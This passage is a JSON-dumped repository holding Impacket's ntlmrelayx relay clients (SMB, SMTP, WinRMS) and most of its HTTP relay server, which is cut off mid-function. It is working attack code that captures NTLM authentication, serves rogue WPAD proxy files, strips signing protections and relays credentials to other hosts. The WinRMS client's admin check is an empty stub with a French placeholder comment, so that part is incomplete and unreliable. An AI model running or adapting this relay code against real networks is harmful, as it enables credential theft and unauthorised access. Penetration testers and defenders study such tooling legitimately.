newAuthBlob = authenticateMessageBlob[0:0x48] + b'\\x00'*16 + authenticateMessageBlob[0x58:]\n            relay_MIC = hmac_md5(signingKey, self.negotiateMessage + self.challengeMessage + newAuthBlob)\n\n            respToken2 = SPNEGO_NegTokenResp()\n            respToken2['ResponseToken'] = authenticateMessageBlob[0:0x48] + relay_MIC + authenticateMessageBlob[0x58:]\n            authData = authenticateMessageBlob[0:0x48] + relay_MIC + authenticateMessageBlob[0x58:]\n            #authData = respToken2.getData()\n\n        if self.session.getDialect() == SMB_DIALECT:\n            token, errorCode = self.sendAuthv1(authData, serverChallenge)\n        else:\n            token, errorCode = self.sendAuthv2(authData, serverChallenge)\n\n        if signingKey:\n            logging.info(\"Enabling session signing\")\n            self.session._SMBConnection.set_session_key(signingKey)\n\n        return token, errorCode\n\n    def sendAuthv2(self, authenticateMessageBlob, serverChallenge=None):\n        if unpack('B', authenticateMessageBlob[:1])[0] == SPNEGO_NegTokenResp.SPNEGO_NEG_TOKEN_RESP:\n            # We need to unwrap SPNEGO and get the NTLMSSP\n            respToken = SPNEGO_NegTokenResp(authenticateMessageBlob)\n            authData = respToken['ResponseToken']\n        else:\n            authData = authenticateMessageBlob\n\n        v2client = self.session.getSMBServer()\n\n        sessionSetup = SMB2SessionSetup()\n        sessionSetup['Flags'] = 0\n\n        packet = v2client.SMB_PACKET()\n        packet['Command'] = SMB2_SESSION_SETUP\n        packet['Data']    = sessionSetup\n\n        # Reusing the previous structure\n        sessionSetup['SecurityBufferLength'] = len(authData)\n        sessionSetup['Buffer'] = authData\n\n        packetID = v2client.sendSMB(packet)\n        packet = v2client.recvSMB(packetID)\n\n        return packet, packet['Status']\n\n    def sendAuthv1(self, authenticateMessageBlob, serverChallenge=None):\n        if unpack('B', authenticateMessageBlob[:1])[0] == SPNEGO_NegTokenResp.SPNEGO_NEG_TOKEN_RESP:\n            # We need to unwrap SPNEGO and get the NTLMSSP\n            respToken = SPNEGO_NegTokenResp(authenticateMessageBlob)\n            authData = respToken['ResponseToken']\n        else:\n            authData = authenticateMessageBlob\n\n        v1client = self.session.getSMBServer()\n\n        smb = NewSMBPacket()\n        smb['Flags1'] = SMB.FLAGS1_PATHCASELESS\n        smb['Flags2'] = SMB.FLAGS2_EXTENDED_SECURITY | SMB.FLAGS2_UNICODE\n        # Are we required to sign SMB? If so we do it, if not we skip it\n        if v1client.is_signing_required():\n           smb['Flags2'] |= SMB.FLAGS2_SMB_SECURITY_SIGNATURE\n        smb['Uid'] = v1client.get_uid()\n\n        sessionSetup = SMBCommand(SMB.SMB_COM_SESSION_SETUP_ANDX)\n        sessionSetup['Parameters'] = SMBSessionSetupAndX_Extended_Parameters()\n        sessionSetup['Data']       = SMBSessionSetupAndX_Extended_Data()\n\n        sessionSetup['Parameters']['MaxBufferSize']        = 65535\n        sessionSetup['Parameters']['MaxMpxCount']          = 2\n        sessionSetup['Parameters']['VcNumber']             = 1\n        sessionSetup['Parameters']['SessionKey']           = 0\n        sessionSetup['Parameters']['Capabilities']         = SMB.CAP_EXTENDED_SECURITY | SMB.CAP_USE_NT_ERRORS | SMB.CAP_UNICODE\n\n        # Fake Data here, don't want to get us fingerprinted\n        sessionSetup['Data']['NativeOS']      = 'Unix'\n        sessionSetup['Data']['NativeLanMan']  = 'Samba'\n\n        sessionSetup['Parameters']['SecurityBlobLength'] = len(authData)\n        sessionSetup['Data']['SecurityBlob'] = authData\n        smb.addCommand(sessionSetup)\n        v1client.sendSMB(smb)\n\n        smb = v1client.recvSMB()\n\n        errorCode = smb['ErrorCode'] << 16\n        errorCode += smb['_reserved'] << 8\n        errorCode += smb['ErrorClass']\n\n        return smb, errorCode\n\n    def getStandardSecurityChallenge(self):\n        if self.session.getDialect() == SMB_DIALECT:\n            return self.session.getSMBServer().get_encryption_key()\n        else:\n            return None\n\n    def isAdmin(self):\n        rpctransport = SMBTransport(self.session.getRemoteHost(), 445, r'\\svcctl', smb_connection=self.session)\n        dce = rpctransport.get_dce_rpc()\n        try:\n            dce.connect()\n        except:\n            pass\n        else:\n            dce.bind(scmr.MSRPC_UUID_SCMR)\n            try:\n                # 0xF003F - SC_MANAGER_ALL_ACCESS\n                # http://msdn.microsoft.com/en-us/library/windows/desktop/ms685981(v=vs.85).aspx\n                ans = scmr.hROpenSCManagerW(dce,'{}\\x00'.format(self.target.hostname),'ServicesActive\\x00', 0xF003F)\n                return \"TRUE\"\n            except scmr.DCERPCException as e:\n                pass\n        return \"FALSE\"\n"
  },
  {
    "path": "impacket/examples/ntlmrelayx/clients/smtprelayclient.py",
    "content": "# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n# Description:\n#   SMTP Protocol Client\n#   SMTP client for relaying NTLMSSP authentication to mailservers, for example Exchange\n#\n# Author:\n#   Dirk-jan Mollema (@_dirkjan) / Fox-IT (https://www.fox-it.com)\n#   Alberto Solino (@agsolino)\n#\nimport smtplib\nimport base64\nfrom struct import unpack\n\nfrom impacket import LOG\nfrom impacket.examples.ntlmrelayx.clients import ProtocolClient\nfrom impacket.nt_errors import STATUS_SUCCESS, STATUS_ACCESS_DENIED\nfrom impacket.ntlm import NTLMAuthChallenge\nfrom impacket.spnego import SPNEGO_NegTokenResp\n\nPROTOCOL_CLIENT_CLASSES = [\"SMTPRelayClient\"]\n\nclass SMTPRelayClient(ProtocolClient):\n    PLUGIN_NAME = \"SMTP\"\n\n    def __init__(self, serverConfig, target, targetPort = 25, extendedSecurity=True ):\n        ProtocolClient.__init__(self, serverConfig, target, targetPort, extendedSecurity)\n\n    def initConnection(self):\n        self.session = smtplib.SMTP(self.targetHost,self.targetPort)\n        # Turn on to debug SMTP messages\n        # self.session.debuglevel = 3\n        self.session.ehlo()\n\n        if 'AUTH NTLM' not in self.session.ehlo_resp:\n            LOG.error('SMTP server does not support NTLM authentication!')\n            return False\n        return True\n\n    def sendNegotiate(self,negotiateMessage):\n        negotiate = base64.b64encode(negotiateMessage)\n        self.session.putcmd('AUTH NTLM')\n        code, resp = self.session.getreply()\n        if code != 334:\n            LOG.error('SMTP Client error, expected 334 NTLM supported, got %d %s ' % (code, resp))\n            return False\n        else:\n            self.session.putcmd(negotiate)\n        try:\n            code, serverChallengeBase64 = self.session.getreply()\n            serverChallenge = base64.b64decode(serverChallengeBase64)\n            challenge = NTLMAuthChallenge()\n            challenge.fromString(serverChallenge)\n            return challenge\n        except (IndexError, KeyError, AttributeError):\n            LOG.error('No NTLM challenge returned from SMTP server')\n            raise\n\n    def sendAuth(self, authenticateMessageBlob, serverChallenge=None):\n        if unpack('B', authenticateMessageBlob[:1])[0] == SPNEGO_NegTokenResp.SPNEGO_NEG_TOKEN_RESP:\n            respToken2 = SPNEGO_NegTokenResp(authenticateMessageBlob)\n            token = respToken2['ResponseToken']\n        else:\n            token = authenticateMessageBlob\n        auth = base64.b64encode(token)\n        self.session.putcmd(auth)\n        typ, data = self.session.getreply()\n        if typ == 235:\n            self.session.state = 'AUTH'\n            return None, STATUS_SUCCESS\n        else:\n            LOG.error('SMTP: %s' % ''.join(data))\n            return None, STATUS_ACCESS_DENIED\n\n    def killConnection(self):\n        if self.session is not None:\n            self.session.close()\n            self.session = None\n\n    def keepAlive(self):\n        # Send a NOOP\n        self.session.noop()\n"
  },
  {
    "path": "impacket/examples/ntlmrelayx/clients/winrmrelayclient.py",
    "content": "import re\nimport ssl\nimport base64\n\ntry:\n    from http.client import HTTPSConnection\nexcept ImportError:\n    from httplib import HTTPSConnection\n\nfrom struct import unpack\nfrom impacket import LOG\nfrom impacket.examples.ntlmrelayx.clients import ProtocolClient\nfrom impacket.nt_errors import STATUS_SUCCESS, STATUS_ACCESS_DENIED\nfrom impacket.ntlm import NTLMAuthChallenge, NTLMAuthNegotiate, NTLMSSP_NEGOTIATE_SIGN, NTLMSSP_NEGOTIATE_ALWAYS_SIGN\nfrom impacket.spnego import SPNEGO_NegTokenResp\n\nPROTOCOL_CLIENT_CLASSES = [\"WinRMSRelayClient\"]\n\nclass WinRMSRelayClient(ProtocolClient):\n    PLUGIN_NAME = \"WINRMS\"\n\n    def __init__(self, serverConfig, target, targetPort=5986, extendedSecurity=True):\n        ProtocolClient.__init__(self, serverConfig, target, targetPort, extendedSecurity)\n        self.extendedSecurity = extendedSecurity\n        self.negotiateMessage = None\n        self.authenticateMessageBlob = None\n        self.server = None\n        self.authenticationMethod = None\n        self.isFirstNeg = True\n        self.basic_xml_data = \"<xml></xml>\"\n\n    def initConnection(self):\n        self.lastresult = None\n        if self.target.path == \"\":\n            self.path = \"/wsman\"\n        else:\n            self.path = self.target.path\n        try:\n            uv_context = ssl.SSLContext(ssl.PROTOCOL_SSLv23)\n            self.session = HTTPSConnection(self.targetHost, self.targetPort, context=uv_context)\n        except AttributeError:\n            self.session = HTTPSConnection(self.targetHost, self.targetPort)\n        return True\n\n    def sendNegotiate(self, negotiateMessage):\n        negoMessage = NTLMAuthNegotiate()\n        negoMessage.fromString(negotiateMessage)\n\n        if self.serverConfig.remove_mic:\n            if negoMessage['flags'] & NTLMSSP_NEGOTIATE_SIGN:\n                negoMessage['flags'] ^= NTLMSSP_NEGOTIATE_SIGN\n            if negoMessage['flags'] & NTLMSSP_NEGOTIATE_ALWAYS_SIGN:\n                negoMessage['flags'] ^= NTLMSSP_NEGOTIATE_ALWAYS_SIGN\n\n        self.negotiateMessage = negoMessage.getData()\n\n        if negoMessage['flags'] & NTLMSSP_NEGOTIATE_SIGN:\n            LOG.warning('The client requested signing, relaying to WinRMS might not work!')\n\n        headers = {\n            \"Content-Length\": len(self.basic_xml_data),\n            \"Content-Type\": \"application/soap+xml;charset=UTF-8\"\n        }\n        self.session.request(\"POST\", self.path, headers=headers, body=self.basic_xml_data)\n        res = self.session.getresponse()\n        res.read()\n\n        if res.status != 401:\n            LOG.info(f\"Status code returned: {res.status}. Authentication does not seem required for URL\")\n        try:\n            auth_header = res.getheader(\"WWW-Authenticate\")\n            if \"NTLM\" not in auth_header and \"Negotiate\" not in auth_header:\n                LOG.error(f\"NTLM Auth not offered by URL, offered protocols: {auth_header}\")\n                return False\n            if \"NTLM\" in auth_header:\n                self.authenticationMethod = \"NTLM\"\n            elif \"Negotiate\" in auth_header:\n                self.authenticationMethod = \"Negotiate\"\n        except (KeyError, TypeError):\n            LOG.error(f\"No authentication requested by the server for url {self.targetHost}\")\n            if self.serverConfig.isADCSAttack:\n                LOG.info(\"IIS cert server may allow anonymous authentication, sending NTLM auth anyways\")\n                self.authenticationMethod = \"NTLM\"\n            else:\n                return False\n\n        negotiate = base64.b64encode(negotiateMessage).decode(\"ascii\")\n        headers = {\n            \"Authorization\": f\"{self.authenticationMethod} {negotiate}\",\n            \"Content-Type\": \"application/soap+xml;charset=UTF-8\",\n            \"Content-Length\": len(self.basic_xml_data)\n        }\n        self.session.request(\"POST\", self.path, headers=headers, body=self.basic_xml_data)\n        res = self.session.getresponse()\n        res.read()\n\n        try:\n            serverChallengeBase64 = re.search(f'{self.authenticationMethod} ([a-zA-Z0-9+/=]+)', res.getheader('WWW-Authenticate')).group(1)\n            serverChallenge = base64.b64decode(serverChallengeBase64)\n            challenge = NTLMAuthChallenge()\n            challenge.fromString(serverChallenge)\n            return challenge\n        except (IndexError, KeyError, AttributeError):\n            LOG.error(\"No NTLM challenge returned from server\")\n            return False\n\n    def sendAuth(self, authenticateMessageBlob, serverChallenge=None):\n        if unpack(\"B\", authenticateMessageBlob[:1])[0] == SPNEGO_NegTokenResp.SPNEGO_NEG_TOKEN_RESP:\n            respToken2 = SPNEGO_NegTokenResp(authenticateMessageBlob)\n            token = respToken2[\"ResponseToken\"]\n        else:\n            token = authenticateMessageBlob\n\n        auth = base64.b64encode(token).decode(\"ascii\")\n        headers = {\n            \"Authorization\": f\"{self.authenticationMethod} {auth}\",\n            \"Content-Type\": \"application/soap+xml;charset=UTF-8\",\n            \"Content-Length\": len(self.basic_xml_data)\n        }\n        self.session.request(\"POST\", self.path, headers=headers, body=self.basic_xml_data)\n\n        res = self.session.getresponse()\n        if res.status == 401:\n            return None, STATUS_ACCESS_DENIED\n        else:\n            LOG.info(f\"HTTP server returned error code {res.status}, this is expected, treating as a successful login\")\n            self.lastresult = res.read()\n            return None, STATUS_SUCCESS\n\n    def killConnection(self):\n        if self.session is not None:\n            self.session.close()\n            self.session = None\n\n    def isAdmin(self):\n        # identique à l’implémentation précédente\n        # pas modifié ici, mais vous pouvez copier-coller tel quel depuis votre code d’origine\n        pass\n\n    def keepAlive(self):\n        heartbeat_xml = '''\n        <?xml version=\"1.0\" encoding=\"utf-8\"?>\n        <env:Envelope xmlns:env=\"http://www.w3.org/2003/05/soap-envelope\"\n                      xmlns:a=\"http://schemas.xmlsoap.org/ws/2004/08/addressing\"\n                      xmlns:w=\"http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd\"\n                      xmlns:p=\"http://schemas.microsoft.com/wbem/wsman/1/wsman.xsd\"\n                      xmlns:rsp=\"http://schemas.microsoft.com/wbem/wsman/1/windows/shell\">\n          <env:Header>\n            <a:To>http://windows-host:5986/wsman</a:To>\n            <a:ReplyTo>\n              <a:Address mustUnderstand=\"true\">http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous</a:Address>\n            </a:ReplyTo>\n            <a:MessageID>uuid:2a8ac24f-00f0-4a87-860c-bf58d33a1e0a</a:MessageID>\n            <a:Action mustUnderstand=\"true\">http://schemas.xmlsoap.org/ws/2004/09/transfer/Create</a:Action>\n            <w:ResourceURI mustUnderstand=\"true\">http://schemas.microsoft.com/wbem/wsman/1/windows/shell/cmd</w:ResourceURI>\n            <w:OperationTimeout>PT20S</w:OperationTimeout>\n            <w:MaxEnvelopeSize mustUnderstand=\"true\">153600</w:MaxEnvelopeSize>\n            <w:OptionSet>\n              <w:Option Name=\"WINRS_NOPROFILE\">FALSE</w:Option>\n              <w:Option Name=\"WINRS_CODEPAGE\">437</w:Option>\n            </w:OptionSet>\n            <w:Locale xml:lang=\"en-US\"/>\n            <p:DataLocale xml:lang=\"en-US\"/>\n          </env:Header>\n          <env:Body>\n            <rsp:Shell>\n              <rsp:InputStreams>stdin</rsp:InputStreams>\n              <rsp:OutputStreams>stdout stderr</rsp:OutputStreams>\n            </rsp:Shell>\n          </env:Body>\n        </env:Envelope>\n        '''\n\n        headers = {\n            \"Content-Length\": len(heartbeat_xml),\n            \"Content-Type\": \"application/soap+xml;charset=UTF-8\"\n        }\n\n        self.session.request(\"POST\", self.path, headers=headers, body=heartbeat_xml)\n        res = self.session.getresponse()\n        res.read()\n"
  },
  {
    "path": "impacket/examples/ntlmrelayx/servers/__init__.py",
    "content": "# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\nfrom impacket.examples.ntlmrelayx.servers.httprelayserver import HTTPRelayServer\nfrom impacket.examples.ntlmrelayx.servers.smbrelayserver import SMBRelayServer\nfrom impacket.examples.ntlmrelayx.servers.wcfrelayserver import WCFRelayServer\nfrom impacket.examples.ntlmrelayx.servers.rawrelayserver import RAWRelayServer\nfrom impacket.examples.ntlmrelayx.servers.rpcrelayserver import RPCRelayServer\nfrom impacket.examples.ntlmrelayx.servers.winrmrelayserver import WinRMRelayServer\nfrom impacket.examples.ntlmrelayx.servers.winrmsrelayserver import WinRMSRelayServer\nfrom impacket.examples.ntlmrelayx.servers.rdprelayserver import RDPRelayServer\nfrom impacket.examples.ntlmrelayx.servers.mssqlrelayserver import MSSQLRelayServer\n"
  },
  {
    "path": "impacket/examples/ntlmrelayx/servers/httprelayserver.py",
    "content": "# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n# Description:\n#   HTTP Relay Server\n#\n#   This is the HTTP server which relays the NTLMSSP  messages to other protocols\n#\n# Authors:\n#   Alberto Solino (@agsolino)\n#   Dirk-jan Mollema / Fox-IT (https://www.fox-it.com)\n#\n\nimport http.server\nimport socketserver\nimport socket\nimport base64\nimport random\nimport struct\nimport string\nfrom threading import Thread\nfrom six import PY2, b\n\nfrom impacket import ntlm, LOG\nfrom impacket.smbserver import outputToJohnFormat, writeJohnOutputToFile\nfrom impacket.nt_errors import STATUS_ACCESS_DENIED, STATUS_SUCCESS\nfrom impacket.examples.ntlmrelayx.utils.targetsutils import TargetsProcessor\nfrom impacket.examples.ntlmrelayx.servers.socksserver import activeConnections\nfrom impacket.examples.utils import get_address\n\nclass HTTPRelayServer(Thread):\n\n    class HTTPServer(socketserver.ThreadingMixIn, socketserver.TCPServer):\n        def __init__(self, server_address, RequestHandlerClass, config):\n            self.config = config\n            self.daemon_threads = True\n            self.address_family, server_address = get_address(server_address[0], server_address[1], self.config.ipv6)\n            # Tracks the number of times authentication was prompted for WPAD per client\n            self.wpad_counters = {}\n            socketserver.TCPServer.allow_reuse_address = True\n            socketserver.TCPServer.__init__(self, server_address, RequestHandlerClass)\n\n    class HTTPHandler(http.server.SimpleHTTPRequestHandler):\n        def __init__(self,request, client_address, server):\n            self.server = server\n            self.protocol_version = 'HTTP/1.1'\n            self.challengeMessage = None\n            self.target = None\n            self.client = None\n            self.machineAccount = None\n            self.machineHashes = None\n            self.domainIp = None\n            self.authUser = None\n            self.relayToHost = False\n            self.wpad = 'function FindProxyForURL(url, host){if ((host == \"localhost\") || shExpMatch(host, \"localhost.*\") ||' \\\n                        '(host == \"127.0.0.1\")) return \"DIRECT\"; if (dnsDomainIs(host, \"%s\")) return \"DIRECT\"; ' \\\n                        'return \"PROXY %s:80; DIRECT\";} '\n            if self.server.config.mode != 'REDIRECT':\n                if self.server.config.target is None:\n                    # Reflection mode, defaults to SMB at the target, for now\n                    self.server.config.target = TargetsProcessor(singleTarget='SMB://%s:445/' % client_address[0])\n            try:\n                http.server.SimpleHTTPRequestHandler.__init__(self,request, client_address, server)\n            except Exception as e:\n                LOG.debug(\"(HTTP): Exception:\", exc_info=True)\n                LOG.error(\"(HTTP): %s\" % str(e))\n\n        def handle_one_request(self):\n            try:\n                http.server.SimpleHTTPRequestHandler.handle_one_request(self)\n            except KeyboardInterrupt:\n                raise\n            except Exception as e:\n                LOG.debug(\"(HTTP): Exception:\", exc_info=True)\n                LOG.error('(HTTP): Exception in HTTP request handler: %s' % e)\n\n        def log_message(self, format, *args):\n            return\n\n        def send_error(self, code, message=None):\n            if message.find('RPC_OUT') >=0 or message.find('RPC_IN'):\n                return self.do_GET()\n            return http.server.SimpleHTTPRequestHandler.send_error(self,code,message)\n\n        def send_not_found(self):\n            self.send_response(404)\n            self.send_header('WWW-Authenticate', 'NTLM')\n            self.send_header('Content-type', 'text/html')\n            self.send_header('Content-Length', '0')\n            self.send_header('Connection', 'close')\n            self.end_headers()\n\n        def send_multi_status(self, content):\n            self.send_response(207, \"Multi-Status\")\n            self.send_header('Content-Type', 'application/xml')\n            self.send_header('Content-Length', str(len(content)))\n            self.send_header('Connection', 'close')\n            self.end_headers()\n            self.wfile.write(content)\n\n        def serve_wpad(self):\n            wpadResponse = self.wpad % (self.server.config.wpad_host, self.server.config.wpad_host)\n            self.send_response(200)\n            self.send_header('Content-type', 'application/x-ns-proxy-autoconfig')\n            self.send_header('Content-Length',len(wpadResponse))\n            self.end_headers()\n            self.wfile.write(b(wpadResponse))\n            return\n\n        def should_serve_wpad(self, client):\n            # If the client was already prompted for authentication, see how many times this happened\n            try:\n                num = self.server.wpad_counters[client]\n            except KeyError:\n                num = 0\n            self.server.wpad_counters[client] = num + 1\n            # Serve WPAD if we passed the authentication offer threshold\n            if num >= self.server.config.wpad_auth_num:\n                return True\n            else:\n                return False\n\n        def serve_image(self):\n            with open(self.server.config.serve_image, 'rb') as imgFile:\n                imgFile_data = imgFile.read()\n                self.send_response(200, \"OK\")\n                self.send_header('Content-type', 'image/jpeg')\n                self.send_header('Content-Length', str(len(imgFile_data)))\n                self.end_headers()\n                self.wfile.write(imgFile_data)\n\n        def strip_blob(self, proxy):\n            if PY2:\n                if proxy:\n                    proxyAuthHeader = self.headers.getheader('Proxy-Authorization')\n                else:\n                    autorizationHeader = self.headers.getheader('Authorization')\n            else:\n                if proxy:\n                    proxyAuthHeader = self.headers.get('Proxy-Authorization')\n                else:\n                    autorizationHeader = self.headers.get('Authorization')\n\n            if (proxy and proxyAuthHeader is None) or (not proxy and autorizationHeader is None):\n                self.do_AUTHHEAD(message = b'NTLM',proxy=proxy)\n                messageType = 0\n                token = None\n            else:\n                if proxy:\n                    typeX = proxyAuthHeader\n                else:\n                    typeX = autorizationHeader\n                try:\n                    _, blob = typeX.split('NTLM')\n                    token = base64.b64decode(blob.strip())\n                except Exception:\n                    LOG.debug(\"(HTTP): Exception:\", exc_info=True)\n                    self.do_AUTHHEAD(message = b'NTLM', proxy=proxy)\n                else:\n                    messageType = struct.unpack('<L',token[len('NTLMSSP\\x00'):len('NTLMSSP\\x00')+4])[0]\n\n            return token, messageType\n\n        def do_HEAD(self):\n            self.send_response(200)\n            self.send_header('Content-type', 'text/html')\n            self.end_headers()\n\n        def do_OPTIONS(self):\n            self.send_response(200)\n            self.send_header('Allow',\n                             'GET, HEAD, POST, PUT, DELETE, OPTIONS, PROPFIND, PROPPATCH, MKCOL, LOCK, UNLOCK, MOVE, COPY')\n            self.send_header('Content-Length', '0')\n            self.send_header('Connection', 'close')\n            self.end_headers()\n            return\n\n        def do_PROPFIND(self):\n\n            LOG.info('(HTTP): Client requested path: %s' % self.path.lower())\n\n            proxy = False\n            if (\".jpg\" in self.path) or (\".JPG\" in self.path):\n                content = b\"\"\"<?xml version=\"1.0\"?><D:multistatus xmlns:D=\"DAV:\"><D:response><D:href>http://webdavrelay/file/image.JPG/</D:href><D:propstat><D:prop><D:creationdate>2016-11-12T22:00:22Z</D:creationdate><D:displayname>image.JPG</D:displayname><D:getcontentlength>4456</D:getcontentlength><D:getcontenttype>image/jpeg</D:getcontenttype><D:getetag>4ebabfcee4364434dacb043986abfffe</D:getetag><D:getlastmodified>Mon, 20 Mar 2017 00:00:22 GMT</D:getlastmodified><D:resourcetype></D:resourcetype><D:supportedlock></D:supportedlock><D:ishidden>0</D:ishidden></D:prop><D:status>HTTP/1.1 200 OK</D:status></D:propstat></D:response></D:multistatus>\"\"\"\n            else:\n                content = b\"\"\"<?xml version=\"1.0\"?><D:multistatus xmlns:D=\"DAV:\"><D:response><D:href>http://webdavrelay/file/</D:href><D:propstat><D:prop><D:creationdate>2016-11-12T22:00:22Z</D:creationdate><D:displayname>a</D:displayname><D:getcontentlength></D:getcontentlength><D:getcontenttype></D:getcontenttype><D:getetag></D:getetag><D:getlastmodified>Mon, 20 Mar 2017 00:00:22 GMT</D:getlastmodified><D:resourcetype><D:collection></D:collection></D:resourcetype><D:supportedlock></D:supportedlock><D:ishidden>0</D:ishidden></D:prop><D:status>HTTP/1.1 200 OK</D:status></D:propstat></D:response></D:multistatus>\"\"\"\n\n            token, messageType = self.strip_blob(proxy)\n\n            # Should we relay or log-in locally?\n            if self.relayToHost is False and not self.server.config.disableMulti:\n                self.do_local_auth(messageType, token, proxy)\n                return\n            else:\n                # We can start the relay process\n                self.do_relay(messageType, token, proxy, content)\n\n        def do_AUTHHEAD(self, message = b'', proxy=False):\n            if proxy:\n                self.send_response(407)\n                self.send_header('Proxy-Authenticate', message.decode('utf-8'))\n            else:\n                self.send_response(401)\n                self.send_header('WWW-Authenticate', message.decode('utf-8'))\n            self.send_header('Content-type', 'text/html')\n            self.send_header('Content-Length','0')\n            self.send_header('Connection', 'keep-alive')\n            self.end_headers()\n\n        #Trickery to relay the victim to all the targets we want\n        def do_REDIRECT(self, proxy=False):\n            rstr = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(10))\n            self.send_response(307)\n            if proxy:\n                self.send_header('Proxy-Authenticate', 'NTLM')\n            else:\n                self.send_header('WWW-Authenticate', 'NTLM')\n            self.send_header('Content-type', 'text/html')\n            self.send_header('Connection','keep-alive')\n            self.send_header('Location','/%s' % rstr)\n            self.send_header('Content-Length','0')\n            self.end_headers()\n\n        def do_SMBREDIRECT(self):\n            self.send_response(302)\n            self.send_header('Content-type', 'text/html')\n            self.send_header('Location','file://%s' % self.server.config.redirecthost)\n            self.send_header('Content-Length','0')\n            self.send_header('Connection','close')\n            self.end_headers()\n\n        def do_POST(self):\n            return self.do_GET()\n\n        def do_CONNECT(self):\n            # Client is using our server as a Proxy\n            proxy = True\n            token, messageType = self.strip_blob(proxy)\n\n            # We can't do the multirelay trick so we just relay the connection\n            self.do_relay(messageType, token, proxy)\n            return\n\n        def do_GET(self):\n            if self.server.config.mode == 'REDIRECT':\n                self.do_SMBREDIRECT()\n                return\n\n            LOG.info('(HTTP): Client requested path: %s' % self.path.lower())\n\n            # Serve WPAD if:\n            # - The client requests it\n            # - A WPAD host was provided in the command line options\n            # - The client has not exceeded the wpad_auth_num threshold yet\n            if self.path.lower() == '/wpad.dat' and self.server.config.serve_wpad and self.should_serve_wpad(self.client_address[0]):\n                LOG.info('(HTTP): Serving PAC file to client %s' % self.client_address[0])\n                self.serve_wpad()\n                return\n\n            # Determine if the user is connecting to our server directly or attempts to use it as a proxy\n            if len(self.path) > 4 and self.path[:4].lower() == 'http':\n                proxy = True\n            else:\n                proxy = False\n\n            token, messageType = self.strip_blob(proxy)\n\n            # Should we relay or log-in locally?\n            if self.relayToHost is False and not self.server.config.disableMulti:\n                self.do_local_auth(messageType, token, proxy)\n                return\n            else:\n                # We can start the relay process\n                self.do_relay(messageType, token, proxy)\n\n            return\n\n        def do_ntlm_negotiate(self, token, proxy):\n            if self.target.scheme.upper() in self.server.config.protocolClients:\n                self.client = self.server.config.protocolClients[self.target.scheme.upper()](self.server.config, self.target)\n                # If connection failed, return\n                if not self.client.initConnection():\n                    return False\n                self.challengeMessage = self.client.sendNegotiate(token)\n\n                # Remove target NetBIOS field from the NTLMSSP_CHALLENGE\n                if self.server.config.remove_target:\n                    av_pairs = ntlm.AV_PAIRS(self.challengeMessage['TargetInfoFields'])\n                    del av_pairs[ntlm.NTLMSSP_AV_HOSTNAME]\n                    self.challengeMessage['TargetInfoFields'] = av_pairs.getData()\n                    self.challengeMessage['TargetInfoFields_len'] = len(av_pairs.getData())\n                    self.challengeMessage['TargetInfoFields_max_len'] = len(av_pairs.getData())\n\n                # Check for errors\n                if self.challengeMessage is False:\n                    return False\n            else:\n                LOG.error('(HTTP): Protocol Client for %s not found!' % self.target.scheme.upper())\n                return False\n\n            # Calculate auth\n            self.do_AUTHHEAD(message = b'NTLM '+base64.b64encode(self.challengeMessage.getData()), proxy=proxy)\n            return True\n\n        def do_ntlm_auth(self,token,authenticateMessage):\n            if authenticateMessage['user_name'] != '' or self.target.hostname == '127.0.0.1':\n                clientResponse, errorCode = self.client.sendAuth(token)\n            else:\n                # Anonymous login, send STATUS_ACCESS_DENIED so we force the client to send his credentials, except\n                # when coming from localhost\n                errorCode = STATUS_ACCESS_DENIED\n\n            if errorCode == STATUS_SUCCESS:\n                return True\n\n            return False\n\n        def do_local_auth(self, messageType, token, proxy):\n            if messageType == 1:\n                negotiateMessage = ntlm.NTLMAuthNegotiate()\n                negotiateMessage.fromString(token)\n                ansFlags = 0\n\n                if negotiateMessage['flags'] & ntlm.NTLMSSP_NEGOTIATE_56:\n                    ansFlags |= ntlm.NTLMSSP_NEGOTIATE_56\n                if negotiateMessage['flags'] & ntlm.NTLMSSP_NEGOTIATE_128:\n                    ansFlags |= ntlm.NTLMSSP_NEGOTIATE_128\n                if negotiateMessage['flags'] & ntlm.NTLMSSP_NEGOTIATE_KEY_EXCH:\n                    ansFlags |= ntlm.NTLMSSP_NEGOTIATE_KEY_EXCH\n                if negotiateMessage['flags'] & ntlm.NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY:\n                    ansFlags |= ntlm.NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY\n                if negotiateMessage['flags'] & ntlm.NTLMSSP_NEGOTIATE_UNICODE:\n                    ansFlags |= ntlm.NTLMSSP_NEGOTIATE_UNICODE\n                if negotiateMessage['flags'] & ntlm.NTLM_NEGOTIATE_OEM:\n                    ansFlags |= ntlm.NTLM_NEGOTIATE_OEM\n\n                ansFlags |= ntlm.NTLMSSP_NEGOTIATE_VERSION | ntlm.NTLMSSP_NEGOTIATE_TARGET_INFO | \\\n                            ntlm.NTLMSSP_TARGET_TYPE_SERVER | ntlm.NTLMSSP_NEGOTIATE_NTLM\n\n                challengeMessage = ntlm.NTLMAuthChallenge()\n                challengeMessage['flags'] = ansFlags\n                challengeMessage['domain_name'] = \"\"\n                challengeMessage['challenge'] = ''.join(random.choice(string.printable) for _ in range(64))\n                challengeMessage['TargetInfoFields'] = ntlm.AV_PAIRS()\n                challengeMessage['TargetInfoFields_len'] = 0\n                challengeMessage['TargetInfoFields_max_len'] = 0\n                challengeMessage['TargetInfoFields_offset'] = 40 + 16\n                challengeMessage['Version'] = b'\\xff' * 8\n                challengeMessage['VersionLen'] = 8\n\n                self.do_AUTHHEAD(message=b'NTLM ' + base64.b64encode(challengeMessage.getData()),proxy=proxy)\n                return\n\n            elif messageType == 3:\n                authenticateMessage = ntlm.NTLMAuthChallengeResponse()\n                authenticateMessage.fromString(token)\n                self.authUser = authenticateMessage.getUserString()\n\n                self.target = self.server.config.target.getTarget(identity = self.authUser)\n                if self.target is None:\n                    if self.server.config.keepRelaying:\n                        